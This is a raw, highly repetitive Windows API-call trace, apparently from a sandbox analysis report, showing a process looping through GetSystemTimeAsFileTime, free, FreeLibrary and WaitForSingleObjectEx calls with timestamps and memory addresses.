FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.481] free (_Block=0x20abc284e70) [0232.482] free (_Block=0x20abc27cb20) [0232.483] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.494] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4657da6a, dwHighDateTime=0x1d9eb0c)) [0232.495] free (_Block=0x20abc281fe0) [0232.496] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.497] free (_Block=0x20abc284e70) [0232.498] free (_Block=0x20abc27cb20) [0232.498] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.505] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x465a3f6a, dwHighDateTime=0x1d9eb0c)) [0232.506] free (_Block=0x20abc281d40) [0232.506] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.507] free (_Block=0x20abc284e70) [0232.507] free (_Block=0x20abc27cb20) [0232.508] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.513] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x465a3f6a, dwHighDateTime=0x1d9eb0c)) [0232.514] free (_Block=0x20abc281ea0) [0232.514] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.515] free (_Block=0x20abc284e70) [0232.516] free (_Block=0x20abc27cb20) [0232.516] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.524] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x465ca3e4, dwHighDateTime=0x1d9eb0c)) [0232.525] free (_Block=0x20abc282000) [0232.525] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.526] free (_Block=0x20abc284e70) [0232.526] free (_Block=0x20abc27cb20) [0232.527] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4666294f, dwHighDateTime=0x1d9eb0c)) [0232.585] free (_Block=0x20abc281d20) [0232.585] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.586] free (_Block=0x20abc284e70) [0232.587] free (_Block=0x20abc27cb20) [0232.587] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.595] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4666294f, dwHighDateTime=0x1d9eb0c)) [0232.596] free (_Block=0x20abc281b80) [0232.596] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.597] free (_Block=0x20abc284e70) [0232.598] free (_Block=0x20abc27cb20) [0232.598] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.606] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46689bec, dwHighDateTime=0x1d9eb0c)) [0232.607] free (_Block=0x20abc281fe0) [0232.607] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.608] free (_Block=0x20abc284e70) [0232.609] free (_Block=0x20abc27cf80) [0232.609] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.615] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x466aed60, dwHighDateTime=0x1d9eb0c)) [0232.615] free (_Block=0x20abc282040) [0232.616] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.616] free (_Block=0x20abc284e70) [0232.617] free (_Block=0x20abc27cb20) [0232.617] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.623] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x466aed60, dwHighDateTime=0x1d9eb0c)) [0232.624] free (_Block=0x20abc281f80) [0232.624] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.625] free (_Block=0x20abc284e70) [0232.625] free (_Block=0x20abc27cf80) [0232.625] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.693] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4676d96f, dwHighDateTime=0x1d9eb0c)) [0232.694] free (_Block=0x20abc281be0) [0232.694] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.695] free (_Block=0x20abc284e70) [0232.696] free (_Block=0x20abc27cb20) [0232.696] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.706] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4676d96f, dwHighDateTime=0x1d9eb0c)) [0232.707] free (_Block=0x20abc2819c0) [0232.708] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.708] free (_Block=0x20abc284e70) [0232.709] free (_Block=0x20abc27cf80) [0232.709] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.715] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46793d37, dwHighDateTime=0x1d9eb0c)) [0232.715] free (_Block=0x20abc281fc0) [0232.716] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.743] free (_Block=0x20abc284e70) [0232.848] free (_Block=0x20abc27cb20) [0232.849] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x468eb09e, dwHighDateTime=0x1d9eb0c)) [0232.942] free (_Block=0x20abc281fa0) [0232.942] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.943] free (_Block=0x20abc284e70) [0232.944] free (_Block=0x20abc27cf80) [0232.944] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.944] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.950] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x469cffd1, dwHighDateTime=0x1d9eb0c)) [0232.950] free (_Block=0x20abc281e60) [0232.951] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.951] free (_Block=0x20abc284e70) [0232.952] free (_Block=0x20abc27cb20) [0232.952] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x469f63f8, dwHighDateTime=0x1d9eb0c)) [0232.962] free (_Block=0x20abc282000) [0232.962] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.963] free (_Block=0x20abc284e70) [0232.963] free (_Block=0x20abc27cb20) [0232.964] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.969] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x469f63f8, dwHighDateTime=0x1d9eb0c)) [0232.970] free (_Block=0x20abc281c20) [0232.970] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.971] free (_Block=0x20abc284e70) [0232.971] free (_Block=0x20abc27cb20) [0232.971] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.979] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46a1c37e, dwHighDateTime=0x1d9eb0c)) [0232.979] free (_Block=0x20abc281c20) [0232.980] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0232.981] free (_Block=0x20abc284e70) [0232.982] free (_Block=0x20abc27cb20) [0232.982] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.088] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46b2748f, dwHighDateTime=0x1d9eb0c)) [0233.089] free (_Block=0x20abc281e20) [0233.089] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0233.090] free (_Block=0x20abc284e70) [0233.091] free (_Block=0x20abc27cb20) [0233.091] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.098] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46b4d67a, dwHighDateTime=0x1d9eb0c)) [0233.099] free (_Block=0x20abc281960) [0233.099] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0233.100] free (_Block=0x20abc284e70) [0233.101] free (_Block=0x20abc27cf80) [0233.101] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.107] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46b4d67a, dwHighDateTime=0x1d9eb0c)) [0233.108] free (_Block=0x20abc281de0) [0233.108] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0233.109] free (_Block=0x20abc284e70) [0233.110] free (_Block=0x20abc27cf80) [0233.110] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.126] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46b73b53, dwHighDateTime=0x1d9eb0c)) [0233.127] free (_Block=0x20abc281f80) [0233.127] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0233.128] free (_Block=0x20abc284e70) [0233.129] free (_Block=0x20abc27cb20) [0233.129] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46c58703, dwHighDateTime=0x1d9eb0c)) [0233.209] free (_Block=0x20abc2819c0) [0233.209] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0233.210] free (_Block=0x20abc284e70) [0233.211] free (_Block=0x20abc27cb20) [0233.211] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.216] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46c58703, dwHighDateTime=0x1d9eb0c)) [0233.217] free (_Block=0x20abc281ba0) [0233.217] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0233.218] free (_Block=0x20abc284e70) [0233.219] free (_Block=0x20abc27cb20) [0233.219] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46c7ee6c, dwHighDateTime=0x1d9eb0c)) [0233.227] free (_Block=0x20abc281d40) [0233.227] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0233.228] free (_Block=0x20abc284e70) [0233.229] free (_Block=0x20abc27cb20) [0233.229] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.235] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46c7ee6c, dwHighDateTime=0x1d9eb0c)) [0233.236] free (_Block=0x20abc2819e0) [0233.236] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0233.237] free (_Block=0x20abc284e70) [0233.238] free (_Block=0x20abc27cb20) [0233.238] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.247] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46ca4b22, dwHighDateTime=0x1d9eb0c)) [0233.248] free (_Block=0x20abc281f00) [0233.248] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0233.248] free (_Block=0x20abc284e70) [0233.249] free (_Block=0x20abc27cf80) [0233.249] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.350] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46dafc24, dwHighDateTime=0x1d9eb0c)) [0233.350] free (_Block=0x20abc282020) [0233.351] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0233.351] free (_Block=0x20abc284e70) [0233.352] free (_Block=0x20abc27cf80) [0233.352] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.359] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46dafc24, dwHighDateTime=0x1d9eb0c)) [0233.360] free (_Block=0x20abc281a80) [0233.360] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0233.360] free (_Block=0x20abc284e70) [0233.361] free (_Block=0x20abc27cf80) [0233.361] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46dd600e, dwHighDateTime=0x1d9eb0c)) [0233.368] free (_Block=0x20abc281da0) [0233.368] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0233.369] free (_Block=0x20abc284e70) [0233.369] free (_Block=0x20abc27cf80) [0233.370] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.376] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46dd600e, dwHighDateTime=0x1d9eb0c)) [0233.377] free (_Block=0x20abc281ea0) [0233.377] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0233.378] free (_Block=0x20abc284e70) [0233.379] free (_Block=0x20abc27cf80) [0233.379] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.386] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46dfc1cc, dwHighDateTime=0x1d9eb0c)) [0233.387] free (_Block=0x20abc281ce0) [0233.387] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0233.388] free (_Block=0x20abc284e70) [0233.389] free (_Block=0x20abc2ab9f0) [0233.389] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.494] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46f070eb, dwHighDateTime=0x1d9eb0c)) [0233.494] free (_Block=0x20abc282040) [0233.494] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0233.495] free (_Block=0x20abc284e70) [0233.496] free (_Block=0x20abc27cf80) [0233.496] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.506] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46f2d30a, dwHighDateTime=0x1d9eb0c)) [0233.507] free (_Block=0x20abc281d20) [0233.507] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0233.508] free (_Block=0x20abc284e70) [0233.509] free (_Block=0x20abc27cf80) [0233.509] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.514] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46f2d30a, dwHighDateTime=0x1d9eb0c)) [0233.515] free (_Block=0x20abc281be0) [0233.515] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0233.516] free (_Block=0x20abc284e70) [0233.517] free (_Block=0x20abc27cf80) [0233.517] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46f5358c, dwHighDateTime=0x1d9eb0c)) [0233.523] free (_Block=0x20abc281b80) [0233.524] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0233.524] free (_Block=0x20abc284e70) [0233.525] free (_Block=0x20abc27cf80) [0233.525] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x46f5358c, dwHighDateTime=0x1d9eb0c)) [0233.531] free (_Block=0x20abc281fe0) [0233.531] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0233.532] free (_Block=0x20abc284e70) [0233.534] free (_Block=0x20abc27cf80) [0233.534] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.783] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x471bb975, dwHighDateTime=0x1d9eb0c)) [0233.784] free (_Block=0x20abc281b20) [0233.784] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0233.785] free (_Block=0x20abc284e70) [0233.785] free (_Block=0x20abc27cf80) [0233.785] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.792] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x471e1cd2, dwHighDateTime=0x1d9eb0c)) [0233.793] free (_Block=0x20abc281f60) [0233.793] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0233.794] free (_Block=0x20abc284e70) [0233.794] free (_Block=0x20abc27cf80) [0233.794] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.801] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x471e1cd2, dwHighDateTime=0x1d9eb0c)) [0233.801] free (_Block=0x20abc281c60) [0233.802] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0233.802] free (_Block=0x20abc284e70) [0233.803] free (_Block=0x20abc27cf80) [0233.803] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.808] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x47207d6a, dwHighDateTime=0x1d9eb0c)) [0233.809] free (_Block=0x20abc281b20) [0233.809] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0233.810] free (_Block=0x20abc284e70) [0233.811] free (_Block=0x20abc27cf80) [0233.811] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.227] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4760de3d, dwHighDateTime=0x1d9eb0c)) [0234.228] free (_Block=0x20abc281fc0) [0234.228] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0234.229] free (_Block=0x20abc284e70) [0234.230] free (_Block=0x20abc27cb20) [0234.230] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.237] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4760de3d, dwHighDateTime=0x1d9eb0c)) [0234.238] free (_Block=0x20abc281fc0) [0234.238] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0234.238] free (_Block=0x20abc284e70) [0234.239] free (_Block=0x20abc27cf80) [0234.239] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x47633ee8, dwHighDateTime=0x1d9eb0c)) [0234.249] free (_Block=0x20abc281ac0) [0234.249] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0234.250] free (_Block=0x20abc284e70) [0234.250] free (_Block=0x20abc27cf80) [0234.250] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.264] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4765a41f, dwHighDateTime=0x1d9eb0c)) [0234.265] free (_Block=0x20abc281b60) [0234.266] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0234.266] free (_Block=0x20abc284e70) [0234.268] free (_Block=0x20abc27cb20) [0234.269] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x47765337, dwHighDateTime=0x1d9eb0c)) [0234.371] free (_Block=0x20abc281d60) [0234.371] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0234.372] free (_Block=0x20abc284e70) [0234.373] free (_Block=0x20abc27cb20) [0234.373] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.378] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x47765337, dwHighDateTime=0x1d9eb0c)) [0234.379] free (_Block=0x20abc281c00) [0234.379] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0234.380] free (_Block=0x20abc284e70) [0234.381] free (_Block=0x20abc27cb20) [0234.381] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.387] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4778b4e0, dwHighDateTime=0x1d9eb0c)) [0234.387] free (_Block=0x20abc281c80) [0234.388] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0234.389] free (_Block=0x20abc284e70) [0234.390] free (_Block=0x20abc27cb20) [0234.390] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x477b180a, dwHighDateTime=0x1d9eb0c)) [0234.400] free (_Block=0x20abc281c20) [0234.400] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0234.401] free (_Block=0x20abc284e70) [0234.402] free (_Block=0x20abc27cb20) [0234.402] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x477b180a, dwHighDateTime=0x1d9eb0c)) [0234.409] free (_Block=0x20abc281f00) [0234.410] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0234.410] free (_Block=0x20abc284e70) [0234.411] free (_Block=0x20abc27cb20) [0234.412] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.512] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x478bc8f9, dwHighDateTime=0x1d9eb0c)) [0234.513] free (_Block=0x20abc281d40) [0234.513] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0234.514] free (_Block=0x20abc284e70) [0234.515] free (_Block=0x20abc27cb20) [0234.516] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.521] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x478bc8f9, dwHighDateTime=0x1d9eb0c)) [0234.523] free (_Block=0x20abc281960) [0234.523] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0234.524] free (_Block=0x20abc284e70) [0234.525] free (_Block=0x20abc27cf80) [0234.525] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.532] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x478e2d59, dwHighDateTime=0x1d9eb0c)) [0234.533] free (_Block=0x20abc281ce0) [0234.533] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0234.534] free (_Block=0x20abc284e70) [0234.535] free (_Block=0x20abc27cf80) [0234.535] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.542] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x47908c7d, dwHighDateTime=0x1d9eb0c)) [0234.542] free (_Block=0x20abc281b20) [0234.543] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0234.543] free (_Block=0x20abc284e70) [0234.544] free (_Block=0x20abc2ab720) [0234.544] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.651] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x47a13d6a, dwHighDateTime=0x1d9eb0c)) [0234.652] free (_Block=0x20abc281d40) [0234.652] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0234.653] free (_Block=0x20abc284e70) [0234.653] free (_Block=0x20abc27cb20) 